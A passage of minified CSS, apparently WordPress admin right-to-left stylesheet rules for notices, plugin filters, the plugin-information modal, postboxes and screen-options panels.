solid #dcdcde;border-bottom:1px solid #f6f7f7}#all-plugins-table .plugins a.delete,#delete-link a.delete,#media-items a.delete,#media-items a.delete-permanently,#nav-menu-footer .menu-delete,#search-plugins-table .plugins a.delete,.plugins a.delete,.privacy_requests .remove-personal-data .remove-personal-data-handle,.row-actions span.delete a,.row-actions span.spam a,.row-actions span.trash a,.submitbox .submitdelete,a#remove-post-thumbnail{color:#b32d2e}#all-plugins-table .plugins a.delete:hover,#delete-link a.delete:hover,#media-items a.delete-permanently:hover,#media-items a.delete:hover,#nav-menu-footer .menu-delete:hover,#search-plugins-table .plugins a.delete:hover,.file-error,.plugins a.delete:hover,.privacy_requests .remove-personal-data .remove-personal-data-handle:hover,.row-actions .delete a:hover,.row-actions .spam a:hover,.row-actions .trash a:hover,.submitbox .submitdelete:hover,a#remove-post-thumbnail:hover,abbr.required,span.required{color:#b32d2e;border:none}#major-publishing-actions{padding:10px;clear:both;border-top:1px solid #dcdcde;background:#f6f7f7}#delete-action{float:right;line-height:2.30769231}#delete-link{line-height:2.30769231;vertical-align:middle;text-align:right;margin-right:8px}#delete-link a{text-decoration:none}#publishing-action{text-align:left;float:left;line-height:1.9}#publishing-action .spinner{float:none;margin-top:5px}#misc-publishing-actions{padding:6px 0 0}.misc-pub-section{padding:6px 10px 8px}.misc-pub-filename,.word-wrap-break-word{word-wrap:break-word}#minor-publishing-actions{padding:10px 10px 0;text-align:left}#save-post{float:right}.preview{float:left}#sticky-span{margin-right:18px}.approve,.unapproved .unapprove{display:none}.spam .approve,.trash .approve,.unapproved .approve{display:inline}td.action-links,th.action-links{text-align:left}#misc-publishing-actions .notice{margin-right:10px;margin-left:10px}.wp-filter{display:inline-block;position:relative;box-sizing:border-box;margin:12px 0 25px;padding:0 10px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.04);border:1px solid #c3c4c7;background:#fff;color:#50575e;font-size:13px}.wp-filter a{text-decoration:none}.filter-count{display:inline-block;vertical-align:middle;min-width:4em}.filter-count .count,.title-count{display:inline-block;position:relative;top:-1px;padding:4px 10px;border-radius:30px;background:#646970;color:#fff;font-size:14px;font-weight:600}.title-count{display:inline;top:-3px;margin-right:5px;margin-left:20px}.filter-items{float:right}.filter-links{display:inline-block;margin:0}.filter-links li{display:inline-block;margin:0}.filter-links li>a{display:inline-block;margin:0 10px;padding:15px 0;border-bottom:4px solid #fff;color:#646970;cursor:pointer}.filter-links .current{box-shadow:none;border-bottom:4px solid #646970;color:#1d2327}.filter-links li>a:focus,.filter-links li>a:hover,.show-filters .filter-links a.current:focus,.show-filters .filter-links a.current:hover{color:#135e96}.wp-filter .search-form{float:left;margin:10px 0}.wp-filter .search-form input[type=search]{width:280px;max-width:100%}.wp-filter .search-form select{margin:0}.plugin-install-php .wp-filter{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.wp-filter .search-form.search-plugins{margin-top:0}.no-js .wp-filter .search-form.search-plugins .button,.wp-filter .search-form.search-plugins .wp-filter-search,.wp-filter .search-form.search-plugins select{display:inline-block;margin-top:10px;vertical-align:top}.wp-filter .button.drawer-toggle{margin:10px 9px 0;padding:0 6px 0 10px;border-color:transparent;background-color:transparent;color:#646970;vertical-align:baseline;box-shadow:none}.wp-filter .drawer-toggle:before{content:"\f111";margin:0 0 0 5px;color:#646970;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-filter .button.drawer-toggle:focus,.wp-filter .button.drawer-toggle:hover,.wp-filter .drawer-toggle:focus:before,.wp-filter .drawer-toggle:hover:before{background-color:transparent;color:#135e96}.wp-filter .button.drawer-toggle:focus:active,.wp-filter .button.drawer-toggle:hover{border-color:transparent}.wp-filter .button.drawer-toggle:focus{border-color:#4f94d4}.wp-filter .button.drawer-toggle:active{background:0 0;box-shadow:none;transform:none}.wp-filter .drawer-toggle.current:before{color:#fff}.filter-drawer,.wp-filter .favorites-form{display:none;margin:0 -20px 0 -10px;padding:20px;border-top:1px solid #f0f0f1;background:#f6f7f7;overflow:hidden}.show-favorites-form .favorites-form,.show-filters .filter-drawer{display:block}.show-filters .filter-links a.current{border-bottom:none}.show-filters .wp-filter .button.drawer-toggle{border-radius:2px;background:#646970;color:#fff}.show-filters .wp-filter .drawer-toggle:focus,.show-filters .wp-filter .drawer-toggle:hover{background:#2271b1}.show-filters .wp-filter .drawer-toggle:before{color:#fff}.filter-group{box-sizing:border-box;position:relative;float:right;margin:0 0 0 1%;padding:20px 10px 10px;width:24%;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04)}.filter-group legend{position:absolute;top:10px;display:block;margin:0;padding:0;font-size:1em;font-weight:600}.filter-drawer .filter-group-feature{margin:28px 0 0;list-style-type:none;font-size:12px}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:1.4}.filter-drawer .filter-group-feature input{position:absolute;margin:0}.filter-group .filter-group-feature label{display:block;margin:14px 23px 14px 0}.filter-drawer .buttons{clear:both;margin-bottom:20px}.filter-drawer .filter-group+.buttons{margin-bottom:0;padding-top:20px}.filter-drawer .buttons .button span{display:inline-block;opacity:.8;font-size:12px;text-indent:10px}.wp-filter .button.clear-filters{display:none;margin-right:10px}.wp-filter .button-link.edit-filters{padding:0 5px;line-height:2.2}.filtered-by{display:none;margin:0}.filtered-by>span{font-weight:600}.filtered-by a{margin-right:10px}.filtered-by .tags{display:inline}.filtered-by .tag{margin:0 5px;padding:4px 8px;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;font-size:11px}.filters-applied .filter-drawer .buttons,.filters-applied .filter-drawer br,.filters-applied .filter-group{display:none}.filters-applied .filtered-by{display:block}.filters-applied .filter-drawer{padding:20px}.error .content-filterable,.loading-content .content-filterable,.show-filters .content-filterable,.show-filters .favorites-form,.show-filters.filters-applied.loading-content .content-filterable{display:none}.show-filters.filters-applied .content-filterable{display:block}.loading-content .spinner{display:block;margin:40px auto 0;float:none}@media only screen and (max-width:1120px){.filter-drawer{border-bottom:1px solid #f0f0f1}.filter-group{margin-bottom:0;margin-top:5px;width:100%}.filter-group li{margin:10px 0}}@media only screen and (max-width:1000px){.filter-items{float:none}.wp-filter .media-toolbar-primary,.wp-filter .media-toolbar-secondary,.wp-filter .search-form{float:none;position:relative;max-width:100%}}@media only screen and (max-width:782px){.filter-group li{padding:0;width:50%}}@media only screen and (max-width:320px){.filter-count{display:none}.wp-filter .drawer-toggle{margin:10px 0}.filter-group li,.wp-filter .search-form input[type=search]{width:100%}}.notice,div.error,div.updated{background:#fff;border:1px solid #c3c4c7;border-right-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:5px 15px 2px;padding:1px 12px}div[class=update-message]{padding:.5em 0 .5em 12px}.form-table td .notice p,.notice p,.notice-title,div.error p,div.updated p{margin:.5em 0;padding:2px}.error a{text-decoration:underline}.updated a{padding-bottom:2px}.notice-alt{box-shadow:none}.notice-large{padding:10px 20px}.notice-title{display:inline-block;color:#1d2327;font-size:18px}.wp-core-ui .notice.is-dismissible{padding-left:38px;position:relative}.notice-dismiss{position:absolute;top:0;left:1px;border:none;margin:0;padding:9px;background:0 0;color:#787c82;cursor:pointer}.notice-dismiss:active:before,.notice-dismiss:focus:before,.notice-dismiss:hover:before{color:#d63638}.notice-dismiss:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.notice-success,div.updated{border-right-color:#00a32a}.notice-success.notice-alt{background-color:#edfaef}.notice-warning{border-right-color:#dba617}.notice-warning.notice-alt{background-color:#fcf9e8}.notice-error,div.error{border-right-color:#d63638}.notice-error.notice-alt{background-color:#fcf0f1}.notice-info{border-right-color:#72aee6}.notice-info.notice-alt{background-color:#f0f6fc}#plugin-information-footer .update-now:not(.button-disabled):before{color:#d63638;content:"\f463";display:inline-block;font:normal 20px/1 dashicons;margin:-3px -2px 0 5px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}#plugin-information-footer .notice{margin-top:-5px}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updated-message p:before,.updating-message p:before{display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.media-upload-form .notice,.media-upload-form div.error,.wrap .notice,.wrap div.error,.wrap div.updated{margin:5px 0 15px}.wrap #templateside .notice{display:block;margin:0;padding:5px 8px;font-weight:600;text-decoration:none}.wrap #templateside span.notice{margin-right:-12px}#templateside li.notice a{padding:0}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updating-message p:before{color:#d63638;content:"\f463"}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:none}}.theme-overlay .theme-autoupdate .dashicons-update.spin{margin-left:3px}.button.activated-message:before,.button.updated-message:before,.installed p:before,.updated-message p:before{color:#68de7c;content:"\f147"}.update-message.notice-error p:before{color:#d63638;content:"\f534"}.import-php .updating-message:before,.wrap .notice p:before{margin-left:6px}.import-php .updating-message:before{vertical-align:bottom}#update-nag,.update-nag{display:inline-block;line-height:1.4;padding:11px 15px;font-size:14px;margin:25px 2px 0 20px}ul#dismissed-updates{display:none}#dismissed-updates li>p{margin-top:0}#dismiss,#undismiss{margin-right:.5em}form.upgrade{margin-top:8px}form.upgrade .hint{font-style:italic;font-size:85%;margin:-.5em 0 2em}.update-php .spinner{float:none;margin:-4px 0}h2.wp-current-version{margin-bottom:.3em}p.update-last-checked{margin-top:0}p.auto-update-status{margin-top:2em;line-height:1.8}#ajax-loading,.ajax-feedback,.ajax-loading,.imgedit-wait-spin,.list-ajax-loading{visibility:hidden}#ajax-response.alignleft{margin-right:2em}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before{margin:3px -2px 0 5px}#plugin-information-footer .button{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}#plugin-information-footer .button.activated-message:before,#plugin-information-footer .button.activating-message:before,#plugin-information-footer .button.installed:before,#plugin-information-footer .button.installing:before,#plugin-information-footer .button.updated-message:before,#plugin-information-footer .button.updating-message:before{margin:9px -2px 0 5px}#plugin-information-footer .button.update-now.updating-message:before{margin:-3px -2px 0 5px}.button-primary.activating-message:before,.button-primary.updating-message:before{color:#fff}.button-primary.activated-message:before,.button-primary.updated-message:before{color:#9ec2e6}.button.activated-message,.button.updated-message{transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}@media aural{.button.installed:before,.button.installing:before,.update-message p:before,.wrap .notice p:before{speak:never}}#adminmenu a,#catlist a,#taglist a{text-decoration:none}#contextual-help-wrap,#screen-options-wrap{margin:0;padding:8px 20px 12px;position:relative}#contextual-help-wrap{overflow:auto;margin-right:0}#screen-meta-links{float:left;margin:0 0 0 20px}#screen-meta{display:none;margin:0 0 -1px 20px;position:relative;background-color:#fff;border:1px solid #c3c4c7;border-top:none;box-shadow:0 0 0 transparent}#contextual-help-link-wrap,#screen-options-link-wrap{float:right;margin:0 6px 0 0}#screen-meta-links .screen-meta-toggle{position:relative;top:0}#screen-meta-links .show-settings{border:1px solid #c3c4c7;border-top:none;height:auto;margin-bottom:0;padding:3px 16px 3px 6px;background:#fff;border-radius:0 0 4px 4px;color:#646970;line-height:1.7;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear}#screen-meta-links .show-settings:active,#screen-meta-links .show-settings:focus,#screen-meta-links .show-settings:hover{color:#2c3338}#screen-meta-links .show-settings:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}#screen-meta-links .show-settings:active{transform:none}#screen-meta-links .show-settings:after{left:0;content:"\f140";font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0 0 0 5px;bottom:2px;position:relative;vertical-align:bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}#screen-meta-links .screen-meta-active:after{content:"\f142"}.toggle-arrow{background-repeat:no-repeat;background-position:top right;background-color:transparent;height:22px;line-height:22px;display:block}.toggle-arrow-active{background-position:bottom right}#contextual-help-wrap h5,#screen-options-wrap h5,#screen-options-wrap legend{margin:0;padding:8px 0;font-size:13px;font-weight:600}.metabox-prefs label{display:inline-block;padding-left:15px;line-height:2.35}#number-of-columns{display:inline-block;vertical-align:middle;line-height:30px}.metabox-prefs input[type=checkbox]{margin-top:0;margin-left:6px}.metabox-prefs label input,.metabox-prefs label input[type=checkbox]{margin:-4px 0 0 5px}.metabox-prefs .columns-prefs label input{margin:-1px 0 0 2px}.metabox-prefs label a{display:none}.metabox-prefs .screen-options input,.metabox-prefs .screen-options label{margin-top:0;margin-bottom:0;vertical-align:middle}.metabox-prefs .screen-options .screen-per-page{margin-left:15px;padding-left:0}.metabox-prefs .screen-options label{line-height:2.2;padding-left:0}.screen-options+.screen-options{margin-top:10px}.metabox-prefs .submit{margin-top:1em;padding:0}#contextual-help-wrap{padding:0}#contextual-help-columns{position:relative}#contextual-help-back{position:absolute;top:0;bottom:0;right:150px;left:170px;border:1px solid #c3c4c7;border-top:none;border-bottom:none;background:#f0f6fc}#contextual-help-wrap.no-sidebar #contextual-help-back{left:0;border-left-width:0;border-bottom-left-radius:2px}.contextual-help-tabs{float:right;width:150px;margin:0}.contextual-help-tabs ul{margin:1em 0}.contextual-help-tabs li{margin-bottom:0;list-style-type:none;border-style:solid;border-width:0 2px 0 0;border-color:transparent}.contextual-help-tabs a{display:block;padding:5px 12px 5px 5px;line-height:1.4;text-decoration:none;border:1px solid transparent;border-left:none;border-right:none}.contextual-help-tabs a:hover{color:#2c3338}.contextual-help-tabs .active{padding:0;margin:0 0 0 -1px;border-right:2px solid #72aee6;background:#f0f6fc;box-shadow:0 2px 0 rgba(0,0,0,.02),0 1px 0 rgba(0,0,0,.02)}.contextual-help-tabs .active a{border-color:#c3c4c7;color:#2c3338}.contextual-help-tabs-wrap{padding:0 20px;overflow:auto}.help-tab-content{display:none;margin:0 0 12px 22px;line-height:1.6}.help-tab-content.active{display:block}.help-tab-content ul li{list-style-type:disc;margin-right:18px}.contextual-help-sidebar{width:150px;float:left;padding:0 12px 0 8px;overflow:auto}html.wp-toolbar{padding-top:32px;box-sizing:border-box;-ms-overflow-style:scrollbar}.widefat td,.widefat th{color:#50575e}.widefat tfoot td,.widefat th,.widefat thead td{font-weight:400}.widefat tfoot tr td,.widefat tfoot tr th,.widefat thead tr td,.widefat thead tr th{color:#2c3338}.widefat td p{margin:2px 0 .8em}.widefat ol,.widefat p,.widefat ul{color:#2c3338}.widefat .column-comment p{margin:.6em 0}.widefat .column-comment ul{list-style:initial;margin-right:2em}.postbox-container{float:right}.postbox-container .meta-box-sortables{box-sizing:border-box}#wpbody-content .metabox-holder{padding-top:10px}.metabox-holder .postbox-container .meta-box-sortables{min-height:1px;position:relative}#post-body-content{width:100%;min-width:463px;float:right}#post-body.columns-2 #postbox-container-1{float:left;margin-left:-300px;width:280px}#post-body.columns-2 #side-sortables{min-height:250px}@media only screen and (max-width:799px){#wpbody-content .metabox-holder .postbox-container .empty-container{outline:0;height:0;min-height:0}}.js .postbox .hndle,.js .widget .widget-top{cursor:move}.js .postbox .hndle.is-non-sortable,.js .widget .widget-top.is-non-sortable{cursor:auto}.hndle a{font-size:12px;font-weight:400}.postbox-header{display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #c3c4c7}.postbox-header .hndle{flex-grow:1;display:flex;justify-content:space-between;align-items:center}.postbox-header .handle-actions{flex-shrink:0}.postbox .handle-order-higher,.postbox .handle-order-lower,.postbox .handlediv{width:1.62rem;height:1.62rem;margin:0;padding:0;border:0;background:0 0;cursor:pointer}.postbox .handle-order-higher,.postbox .handle-order-lower{color:#787c82;width:1.62rem}.edit-post-meta-boxes-area .postbox .handle-order-higher,.edit-post-meta-boxes-area .postbox .handle-order-lower{width:44px;height:44px;color:#1d2327}.postbox .handle-order-higher[aria-disabled=true],.postbox .handle-order-lower[aria-disabled=true]{cursor:default;color:#a7aaad}.sortable-placeholder{border:1px dashed #c3c4c7;margin-bottom:20px}.postbox,.stuffbox{margin-bottom:20px;padding:0;line-height:1}.postbox.closed{border-bottom:0}.postbox .hndle,.stuffbox .hndle{-webkit-user-select:none;user-select:none}.postbox .inside{padding:0 12px 12px;line-height:1.4;font-size:13px}.stuffbox .inside{padding:0;line-height:1.4;font-size:13px;margin-top:0}.postbox .inside{margin:11px 0;position:relative}.postbox .inside>p:last-child,.rss-widget ul li:last-child{margin-bottom:1px!important}.postbox.closed h3{border:none;box-shadow:none}.postbox table.form-table{margin-bottom:0}.postbox table.widefat{box-shadow:none}.temp-border{border:1px dotted #c3c4c7}.columns-prefs label{padding:0 0 0 10px}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover,#comment-status-display,#dashboard_right_now .versions .b,#ed_reply_toolbar #ed_reply_strong,#pass-strength-result.short,#pass-strength-result.strong,#post-status-display,#post-visibility-display,.feature-filter .feature-name,.item-controls .item-order a,.media-item .percent,.plugins .name{font-weight:600}#wpfooter{position:absolute;bottom:0;right:0;left:0;padding:10px 20px;color:#50575e}#wpfooter p{font-size:13px;margin:0;line-height:1.55}#footer-thankyou{font-style:italic}.nav-tab{float:right;border:1px solid #c3c4c7;border-bottom:none;margin-right:.5em;padding:5px 10px;font-size:14px;line-height:1.71428571;font-weight:600;background:#dcdcde;color:#50575e;text-decoration:none;white-space:nowrap}.nav-tab-small .nav-tab,h3 .nav-tab{padding:5px 14px;font-size:12px;line-height:1.33}.nav-tab:focus,.nav-tab:hover{background-color:#fff;color:#3c434a}.nav-tab-active,.nav-tab:focus:active{box-shadow:none}.nav-tab-active{margin-bottom:-1px;color:#3c434a}.nav-tab-active,.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #f0f0f1;background:#f0f0f1;color:#000}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:1px solid #c3c4c7;margin:0;padding-top:9px;padding-bottom:0;line-height:inherit}.nav-tab-wrapper:not(.wp-clearfix):after{content:"";display:table;clear:both}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;display:inline-block;visibility:hidden;float:left;vertical-align:middle;opacity:.7;width:20px;height:20px;margin:4px 10px 0}.loading-content .spinner,.spinner.is-active{visibility:visible}#template>div{margin-left:16em}#template .notice{margin-top:1em;margin-left:3%}#template .notice p{width:auto}#template .submit .spinner{float:none}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2.hndle,.metabox-holder h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}.nav-menus-php .metabox-holder h3{padding:10px 14px 11px 10px;line-height:1.5}#templateside ul li a{text-decoration:none}.plugin-install #description,.plugin-install-network #description{width:60%}table .column-rating,table .column-visible,table .vers{text-align:right}.attention,.error-message{color:#d63638;font-weight:600}body.iframe{height:98%}.lp-show-latest p{display:none}.lp-show-latest .lp-error p,.lp-show-latest p:last-child{display:block}.media-icon{width:62px;text-align:center}.media-icon img{border:1px solid #dcdcde;border:1px solid rgba(0,0,0,.07)}#howto{font-size:11px;margin:0 5px;display:block}.importers{font-size:16px;width:auto}.importers td{padding-left:14px;line-height:1.4}.importers .import-system{max-width:250px}.importers td.desc{max-width:500px}.importer-action,.importer-desc,.importer-title{display:block}.importer-title{color:#000;font-size:14px;font-weight:400;margin-bottom:.2em}.importer-action{line-height:1.55;color:#50575e;margin-bottom:1em}#post-body #post-body-content #namediv h2,#post-body #post-body-content #namediv h3{margin-top:0}.edit-comment-author{color:#1d2327;border-bottom:1px solid #f0f0f1}#namediv h2 label,#namediv h3 label{vertical-align:baseline}#namediv table{width:100%}#namediv td.first{width:10px;white-space:nowrap}#namediv input{width:100%}#namediv p{margin:10px 0}.zerosize{height:0;width:0;margin:0;border:0;padding:0;overflow:hidden;position:absolute}br.clear{height:2px;line-height:.15}.checkbox{border:none;margin:0;padding:0}fieldset{border:0;padding:0;margin:0}.post-categories{display:inline;margin:0;padding:0}.post-categories li{display:inline}div.star-holder{position:relative;height:17px;width:100px;background:url(../images/stars.png?ver=20121108) repeat-x bottom right}div.star-holder .star-rating{background:url(../images/stars.png?ver=20121108) repeat-x top right;height:17px;float:right}.star-rating{white-space:nowrap}.star-rating .star{display:inline-block;width:20px;height:20px;-webkit-font-smoothing:antialiased;font-size:20px;line-height:1;font-family:dashicons;text-decoration:inherit;font-weight:400;font-style:normal;vertical-align:top;transition:color .1s ease-in;text-align:center;color:#dba617}.star-rating .star-full:before{content:"\f155"}.star-rating .star-half:before{content:"\f459"}.rtl .star-rating .star-half{transform:rotateY(-180deg)}.star-rating .star-empty:before{content:"\f154"}div.action-links{font-weight:400;margin:6px 0 0}#plugin-information{background:#fff;position:fixed;top:0;left:0;bottom:0;right:0;height:100%;padding:0}#plugin-information-scrollable{overflow:auto;-webkit-overflow-scrolling:touch;height:100%}#plugin-information-title{padding:0 26px;background:#f6f7f7;font-size:22px;font-weight:600;line-height:2.4;position:relative;height:56px}#plugin-information-title.with-banner{margin-left:0;height:250px;background-size:cover}#plugin-information-title h2{font-size:1em;font-weight:600;padding:0;margin:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}#plugin-information-title.with-banner h2{position:relative;font-family:"Helvetica Neue",sans-serif;display:inline-block;font-size:30px;line-height:1.68;box-sizing:border-box;max-width:100%;padding:0 15px;margin-top:174px;color:#fff;background:rgba(29,35,39,.9);text-shadow:0 1px 3px rgba(0,0,0,.4);box-shadow:0 0 30px rgba(255,255,255,.1);border-radius:8px}#plugin-information-title div.vignette{display:none}#plugin-information-title.with-banner div.vignette{position:absolute;display:block;top:0;right:0;height:250px;width:100%;background:0 0;box-shadow:inset 0 0 50px 4px rgba(0,0,0,.2),inset 0 -1px 0 rgba(0,0,0,.1)}#plugin-information-tabs{padding:0 16px;position:relative;left:0;right:0;min-height:36px;font-size:0;z-index:1;border-bottom:1px solid #dcdcde;background:#f6f7f7}#plugin-information-tabs a{position:relative;display:inline-block;padding:9px 10px;margin:0;height:18px;line-height:1.3;font-size:14px;text-decoration:none;transition:none}#plugin-information-tabs a.current{margin:0 -1px -1px;background:#fff;border:1px solid #dcdcde;border-bottom-color:#fff;padding-top:8px;color:#2c3338}#plugin-information-tabs.with-banner a.current{border-top:none;padding-top:9px}#plugin-information-tabs a:active,#plugin-information-tabs a:focus{outline:0}#plugin-information-content{overflow:hidden;background:#fff;position:relative;top:0;left:0;right:0;min-height:100%;min-height:calc(100% - 152px)}#plugin-information-content.with-banner{min-height:calc(100% - 346px)}#section-holder{position:relative;top:0;left:250px;bottom:0;right:0;margin-top:10px;margin-left:250px;padding:10px 26px 99999px;margin-bottom:-99932px}#section-holder .notice{margin:5px 0 15px}#section-holder .updated{margin:16px 0}#plugin-information .fyi{float:left;position:relative;top:0;left:0;padding:16px 16px 99999px;margin-bottom:-99932px;width:217px;border-right:1px solid #dcdcde;background:#f6f7f7;color:#646970}#plugin-information .fyi strong{color:#3c434a}#plugin-information .fyi h3{font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}#plugin-information .fyi h2{font-size:.9em;margin-bottom:0;margin-left:0}#plugin-information .fyi ul{padding:0;margin:0;list-style:none}#plugin-information .fyi li{margin:0 0 10px}#plugin-information .fyi-description{margin-top:0}#plugin-information .counter-container{margin:3px 0}#plugin-information .counter-label{float:right;margin-left:5px;min-width:55px}#plugin-information .counter-back{height:17px;width:92px;background-color:#dcdcde;float:right}#plugin-information .counter-bar{height:17px;background-color:#f0c33c;float:right}#plugin-information .counter-count{margin-right:5px}#plugin-information .fyi ul.contributors{margin-top:10px}#plugin-information .fyi ul.contributors li{display:inline-block;margin-left:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li{display:inline-block;margin-left:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li img{vertical-align:middle;margin-left:4px}#plugin-information-footer{padding:13px 16px;position:absolute;left:0;bottom:0;right:0;height:40px;border-top:1px solid #dcdcde;background:#f6f7f7}#plugin-information .section{direction:ltr}#plugin-information .section ol,#plugin-information .section ul{list-style-type:disc;margin-left:24px}#plugin-information .section,#plugin-information .section p{font-size:14px;line-height:1.7}#plugin-information #section-screenshots ol{list-style:none;margin:0}#plugin-information #section-screenshots li img{vertical-align:text-top;margin-top:16px;max-width:100%;width:auto;height:auto;box-shadow:0 1px 2px rgba(0,0,0,.3)}#plugin-information #section-screenshots li p{font-style:italic;padding-left:20px}#plugin-information pre{padding:7px;overflow:auto;border:1px solid #c3c4c7}#plugin-information blockquote{border-right:2px solid #dcdcde;color:#646970;font-style:italic;margin:1em 0;padding:0 1em 0 0}#plugin-information .review{overflow:hidden;width:100%;margin-bottom:20px;border-bottom:1px solid #dcdcde}#plugin-information .review-title-section{overflow:hidden}#plugin-information .review-title-section h4{display:inline-block;float:left;margin:0 6px 0 0}#plugin-information .reviewer-info p{clear:both;margin:0;padding-top:2px}#plugin-information .reviewer-info .avatar{float:left;margin:4px 6px 0 0}#plugin-information .reviewer-info .star-rating{float:left}#plugin-information .review-meta{float:left;margin-left:.75em}#plugin-information .review-body{float:left;width:100%}.plugin-version-author-uri{font-size:13px}.update-php .button.button-primary{margin-left:1em}@media screen and (max-width:771px){#plugin-information-title.with-banner{height:100px}#plugin-information-title.with-banner h2{margin-top:30px;font-size:20px;line-height:2;max-width:85%}#plugin-information-title.with-banner div.vignette{height:100px}#plugin-information-tabs{overflow:hidden;padding:0;height:auto}#plugin-information-tabs a.current{margin-bottom:0;border-bottom:none}#plugin-information .fyi{float:none;border:1px solid #dcdcde;position:static;width:auto;margin:26px 26px 0;padding-bottom:0}#section-holder{position:static;margin:0;padding-bottom:70px}#plugin-information .fyi h3,#plugin-information .fyi small{display:none}#plugin-information-footer{padding:12px 16px 0;height:46px}}#TB_window.plugin-details-modal{background:#fff}#TB_window.plugin-details-modal.thickbox-loading:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;z-index:-1;margin:-10px -10px 0 0;background:#fff url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#TB_window.plugin-details-modal.thickbox-loading:before{background-image:url(../images/spinner-2x.gif)}}.plugin-details-modal #TB_title{float:right;height:1px}.plugin-details-modal #TB_ajaxWindowTitle{display:none}.plugin-details-modal #TB_closeWindowButton{right:auto;left:-30px;color:#f0f0f1}.plugin-details-modal #TB_closeWindowButton:focus,.plugin-details-modal #TB_closeWindowButton:hover{outline:0;box-shadow:none}.plugin-details-modal #TB_closeWindowButton:focus::after,.plugin-details-modal #TB_closeWindowButton:hover::after{outline:2px solid;outline-offset:-4px;border-radius:4px}.plugin-details-modal .tb-close-icon{display:none}.plugin-details-modal #TB_closeWindowButton:after{content:"\f335";font:normal 32px/29px dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media screen and (max-width:830px){.plugin-details-modal #TB_closeWindowButton{left:0;top:-30px}}img{border:none}.bulk-action-notice .toggle-indicator::before,.meta-box-sortables .postbox .order-higher-indicator::before,.meta-box-sortables .postbox .order-lower-indicator::before,.meta-box-sortables .postbox .toggle-indicator::before,.privacy-text-box .toggle-indicator::before,.sidebar-name .toggle-indicator::before{content:"\f142";display:inline-block;font:normal 20px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,.js .widgets-holder-wrap.closed .toggle-indicator::before,.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,.privacy-text-box.closed .toggle-indicator::before{content:"\f140"}.postbox .handle-order-higher .order-higher-indicator::before{content:"\f343";color:inherit}.postbox .handle-order-lower .order-lower-indicator::before{content:"\f347";color:inherit}.postbox .handle-order-higher .order-higher-indicator::before,.postbox .handle-order-lower .order-lower-indicator::before{position:relative;top:.11rem;width:20px;height:20px}.postbox .handlediv .toggle-indicator::before{width:20px;border-radius:50%}.postbox .handlediv .toggle-indicator::before{position:relative;top:.05rem;text-indent:-1px}.rtl .postbox .handlediv .toggle-indicator::before{text-indent:1px}.bulk-action-notice .toggle-indicator::before{line-height:16px;vertical-align:top;color:#787c82}.postbox .handle-order-higher:focus,.postbox .handle-order-lower:focus,.postbox .handlediv:focus{box-shadow:inset 0 0 0 2px #2271b1;border-radius:50%;outline:2px solid transparent}.postbox .handle-order-higher:focus .order-higher-indicator::before,.postbox .handle-order-lower:focus .order-lower-indicator::before,.postbox .handlediv:focus .toggle-indicator::before{box-shadow:none;outline:1px solid transparent}#photo-add-url-div input[type=text]{width:300px}.alignleft h2{margin:0}#template textarea{font-family:Consolas,Monaco,monospace;font-size:13px;background:#f6f7f7;tab-size:4}#template .CodeMirror,#template textarea{width:100%;min-height:60vh;height:calc(100vh - 295px);border:1px solid #dcdcde;box-sizing:border-box}#templateside>h2{padding-top:6px;padding-bottom:7px;margin:0}#templateside ol,#templateside 